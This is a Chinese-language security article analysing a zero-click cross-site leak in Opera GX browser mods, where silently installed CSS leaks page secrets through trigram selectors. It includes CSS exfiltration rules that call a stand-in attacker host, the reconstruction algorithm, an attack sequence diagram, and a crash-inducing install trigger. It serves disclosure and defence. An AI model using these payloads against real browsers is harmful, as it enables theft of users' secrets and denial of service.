攻擊面:客製化套件之自動安裝

瀏覽器的客製化功能(例如 GX Mods)雖然看似僅限於外觀上的改變,但若其安裝與應用模型缺乏足夠限制,可能會引入意料之外的攻擊面。報告檢視了 Opera GX 中的一類漏洞:在靜默安裝步驟後,攻擊者控制的層疊樣式表(CSS)會被普遍套用到所有瀏覽情境。由此產生的原始能力同時支援一個可行的跨站資料外洩通道(XS-Leak)以及一個可靠的拒絕服務條件。分析專注於技術機制、選擇器設計、載入管理策略,以及重建演算法,這些要素共同將一個靜態 CSS Payload 轉化為完整的字串回復能力。

GX Mods 的 CSS 注入與 trigram 如何實現 XS-Leak 零點擊攻擊? | 資訊安全新聞

攻擊面:客製化套件之自動安裝

特定瀏覽器客製化套件以 .crx 壓縮檔形式發行,內含 manifest 與靜態資源(包含 CSS)。與傳統擴充功能不同,這些套件不帶權限提示,也不會執行 JavaScript。關鍵在於,安裝 pipeline 會在導覽至 .crx 資源或將該資源嵌入 iframe 時觸發。因此,只要存取一次攻擊者控制的頁面,就足以在無需進一步使用者互動的情況下安裝任意套件。一旦安裝完成,該套件的樣式表便會注入後續每一次的頁面載入,形成通用的 CSS injection 基本能力。

相同的 pipeline 也產生了阻斷服務向量。當瀏覽器在隱私瀏覽模式下強制安裝時,會進入非預期的內部狀態,導致程序異常終止並重啟。所有開啟的分頁都會遺失。此條件可由任何帶有 .crx 副檔名的檔案觸發,與其內部內容無關。

利用靜態限制之 CSS 資料外洩

傳統 CSS 外洩依賴於有條件載入外部資源的屬性選擇器:

  1. /* Example selector pattern drawn from the core technique. */
  2. /* A matching attribute value causes a network request whose query string */
  3. /* encodes the observed substring. */
  4. input[value^="A"] {
  5. background: url("https://attacker-host.com/?first-letter-exfil=A");
  6. }
  7. input[value^="B"] {
  8. background: url("https://attacker-host.com/?first-letter-exfil=B");
  9. }

由於樣式表是靜態的,無法在每次觀察後重新生成,因此依賴頁面重新載入或動態 @import 鏈結的逐字元反覆提取方式並不可行。@import 指令會被忽略,很可能是因為客製化樣式表會與其他瀏覽器樣式表串接,使得任何不在串接絕對開頭的 @import 皆為無效。

解決方案是對固定長度子字串(trigram)進行窮舉(Exhaustive enumeration),並搭配利用 CSS 客製化屬性的無衝突傳遞機制。對於 37 個字元的字母表,trigram 的空間為 37 3 = 50,653。會產生三個獨立系列的規則:

  • 使用 ^= 運算子的前置規則,
  • 使用 $= 運算子的後綴規則,
  • 使用 *= 運算子的中綴規則。

每個符合的規則會將一個獨特的客製化屬性指派給一個編碼了觀察到之 trigram 的 URL。最終的消耗規則會在逗號分隔的 background-image 清單中引用每個客製化屬性,並為未定義的變數提供備用值 none。因此,串接會為每個符合的 trigram 發出請求,而不會互相覆寫。

  1. /* Collision-free multi-match pattern. */
  2. /* Each successful selector defines a distinct custom property. */
  3. /* The consumption rule loads every defined URL in a single paint. */
  4. html:has(meta[name="targeted-value"][content*="abc"]) {
  5. --slot1: url("https://attacker-host.com/?t=abc");
  6. }
  7. html:has(meta[name="targeted-value"][content*="bcd"]) {
  8. --slot2: url("https://attacker-host.com/?t=bcd");
  9. }
  10. html {
  11. background-image:
  12. var(--slot1, none),
  13. var(--slot2, none);
  14. }

載入減少策略

一個包含約 152,000 條規則的樸素樣式表會超過實際的繪製限制,並導致頁面異常中止。有兩個不重疊的化簡方法可恢復可靠性。首先,選擇目標頁面使秘密字串出現在多個獨立的屬性中。規則會跨這些屬性進行分割,以分散評估成本。其次,消耗階段本身會拆分到三個不同的元素(html、body 和一個生成的 pseudo-element)。因此,每個元素的 background-image 清單僅包含總變數的三分之一,使每個屬性的圖層數量維持在觀察到的異常中止門檻以下。

  1. /* Partitioned consumption after load-reduction. */
  2. /* Three independent paint targets prevent cascade collisions */
  3. /* while limiting the number of layers evaluated for any single property. */
  4. html {
  5. background-image:
  6. var(--start,none), var(--end,none), var(--t1,none), \ldots, var(--t16884,none),
  7. none !important;
  8. }
  9. body {
  10. background-image:
  11. var(--t16885,none), \ldots, var(--t33768,none),
  12. none !important;
  13. }
  14. html::before {
  15. background-image:
  16. var(--t33769,none), \ldots, var(--t50653,none),
  17. none !important;
  18. }

透過重疊 Trigram 進行字串重構

攻擊者的伺服器會收到一組無順序的 trigram,以及一個獨特的前綴和一個獨特的後綴。重構程序透過深度優先搜尋進行。從觀察到的前綴開始,演算法會重複選擇任何剩餘的 trigram,其前兩個字元符合當前候選字串的後綴,附加第三個字元,並減少每個 trigram 的配額。此配額對一般 trigram 初始化為 2(以容許有限的重複),對終端後綴則初始化為 1。當候選字串恰好以觀察到的後綴結束時,便會記錄下來。回溯會恢復配額,確保對可行字串進行窮舉。不屬於固定網域後綴的殘留未使用 trigram 會觸發第二輪,並使用放寬的終端配額。

  1. /* Budget-aware extension step (conceptual). */
  2. /* The search maintains a mutable map of remaining uses for each trigram. */
  3. /* A candidate is accepted only when its final three characters equal the */
  4. /* observed end trigram and the budget constraints are satisfied. */
  5. initial budget: { cii: 2, cil: 2, \ldots }
  6. branch A: prefix "aci" + trigram "cii" \to budget["cii"] := 1
  7. branch B: prefix "aci" + trigram "cil" \to budget["cil"] := 1

端對端攻擊流程

完整的零點擊序列如下所示。

sequenceDiagram participant V as Victim Browser participant A as Attacker Page participant M as GX Mod Pipeline participant T as Target Page participant S as Attacker Server V->>A: Navigate to attacker origin A->>M: Embed iframe sourcing malicious .crx M-->>V: Silent installation of CSS package A->>V: Timed redirect (no user gesture) V->>T: Load page containing secret attributes T->>T: Universal CSS evaluates all trigram selectors T->>S: Parallel background requests for matching trigrams S->>S: Collect start / end / infix set S->>S: Depth-first reconstruction with budgets Note over S: Recovered secret string

由於安裝在數秒內完成且重新導向為自動進行,受害者在資料外洩發生之前,實際上沒有機會移除該套件。

限制與實務考量

此技術受限於瀏覽器可解析的 CSS payload 大小,以及秘密是否存在於可被 :has() 和屬性選擇器匹配的屬性值中。字母表大小直接決定規則數量;較大的字母表很快就會變得不可行。重複的子字串僅能處理到所選的配額為止,因此病態的重複可能會產生多個候選字串,必須透過長度或其他啟發式方法進行排序。儘管如此,對於從適度字母表中抽取的典型短秘密,此重構方法可從單次頁面載入中可靠地成功。

結論

無聲套件安裝、通用樣式表套用、CSS 變數衝突避免,以及利用重疊的重構,這些因素的結合將一項外觀客製化功能轉變為高影響力的零點擊 XS-Leak。相同的安裝途徑同時也產生可靠的瀏覽器層級阻斷服務。此案例表明,任何能夠將攻擊者控制的 CSS 注入任意來源的機制——即使剝奪了指令碼執行和明確權限——都必須受到與傳統擴充功能相同的安裝同意和來源隔離審查。